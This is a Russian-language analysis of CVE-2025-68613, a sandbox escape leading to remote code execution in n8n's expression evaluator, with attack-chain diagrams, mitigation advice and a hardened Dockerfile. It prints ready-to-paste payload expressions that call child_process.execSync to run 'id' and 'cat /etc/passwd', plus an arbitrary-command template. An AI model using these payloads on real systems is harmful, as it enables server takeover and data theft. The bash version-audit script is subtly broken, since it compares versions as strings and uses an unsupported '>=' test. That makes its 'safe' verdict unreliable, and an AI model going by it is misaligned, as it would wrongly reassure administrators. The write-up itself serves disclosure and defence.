CVE-2025-68613-n8n-rce-analysis

🔓 ЦЕПОЧКА УЯЗВИМОСТИ:
┌─────────────────────────────────────────────────────────────────┐
│  📝 Язык выражений n8n → Динамическая обработка данных         │
│                           ↓                                     │
│  ⚠️  Недостаточная изоляция песочницы при серверной оценке     │
│                           ↓                                     │
│  💀 Вредоносное выражение выходит из песочницы                 │
│                           ↓                                     │
│  🖥️  Доступ к модулю child_process Node.js                     │
│                           ↓                                     │
│  💥 ПОЛНОЕ УДАЛЁННОЕ ВЫПОЛНЕНИЕ КОДА - выполнение команд ОС    │
└─────────────────────────────────────────────────────────────────┘

graph TD
    A[🔐 Аутентифицированный пользователь] -->|Создаёт| B[📝 Новый рабочий процесс]
    B -->|Внедряет| C[💀 Вредоносное выражение]
    C -->|Запускает| D[⚡ Оценка выражения]
    D -->|Эксплуатирует| E[🔓 Побег из песочницы]
    E -->|Получает доступ| F[🖥️ Среда выполнения Node.js]
    F -->|Выполняет| G[💥 Команда ОС через child_process]
    G -->|Достигает| H[☠️ ПОЛНАЯ КОМПРОМЕТАЦИЯ СЕРВЕРА]
    
    style A fill:#4CAF50,color:#fff
    style C fill:#ff9800,color:#fff
    style E fill:#f44336,color:#fff
    style H fill:#9c27b0,color:#fff

// 🔴 ВРЕДОНОСНАЯ НАГРУЗКА (НЕ ИСПОЛЬЗОВАТЬ НЕЗАКОННО)
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('pwd').toString() })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString() })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('YOUR_COMMAND_HERE').toString() })() }}

┌─────────────────────────────────────────────────────────────────────────┐
│  🔴 ПЕРВОПРИЧИНА УЯЗВИМОСТИ                                             │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  Оценщик выражений n8n НЕ ИМЕЕТ санитайзера для предотвращения доступа  │
│  функциональных выражений к:                                            │
│                                                                         │
│    ❌ this.process        → Объект процесса Node.js                     │
│    ❌ mainModule.require  → Система загрузки модулей                    │
│    ❌ child_process       → Выполнение команд ОС                        │
│                                                                         │
│  Это позволяет прямой доступ к системным модулям и выполнению кода!    │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

# 🛡️ Обновление n8n до исправленной версии
npm install -g n8n@latest

# Или с Docker
docker pull n8n/n8n:1.122.0

#!/usr/bin/env bash
# 🔍 CVE-2025-68613 аудит версий n8n

echo "🔍 Проверка версии n8n..."

if command -v n8n >/dev/null 2>&1; then
    VER="$(n8n --version | tr -d 'v' | head -n1)"
    
    if [[ "$VER" < "1.120.4" ]] && [[ "$VER" >= "0.211.0" ]]; then
        echo "⚠️  УЯЗВИМО: n8n $VER затронута CVE-2025-68613"
        echo "📦 Необходимо: Обновление до 1.120.4, 1.121.1 или 1.122.0+"
        exit 2
    else
        echo "✅ БЕЗОПАСНО: n8n $VER исправлена"
    fi
else
    echo "❌ n8n не найден в PATH"
fi

# 🛡️ Укреплённое развертывание n8n
FROM n8n/n8n:1.122.0

# 👤 Запуск от непривилегированного пользователя
USER node

# 🔒 Применить эти флаги выполнения:
# --read-only --tmpfs /tmp:rw,noexec,nosuid
# --cap-drop=ALL --cap-add=NET_BIND_SERVICE
# --security-opt seccomp=n8n-seccomp.json

#CVE-2025-68613 #n8n #RCE #Expression-Injection #Workflow-Automation 
#Sandbox-Escape #CWE-913 #Critical-Vulnerability #Pentesting #Blue-Team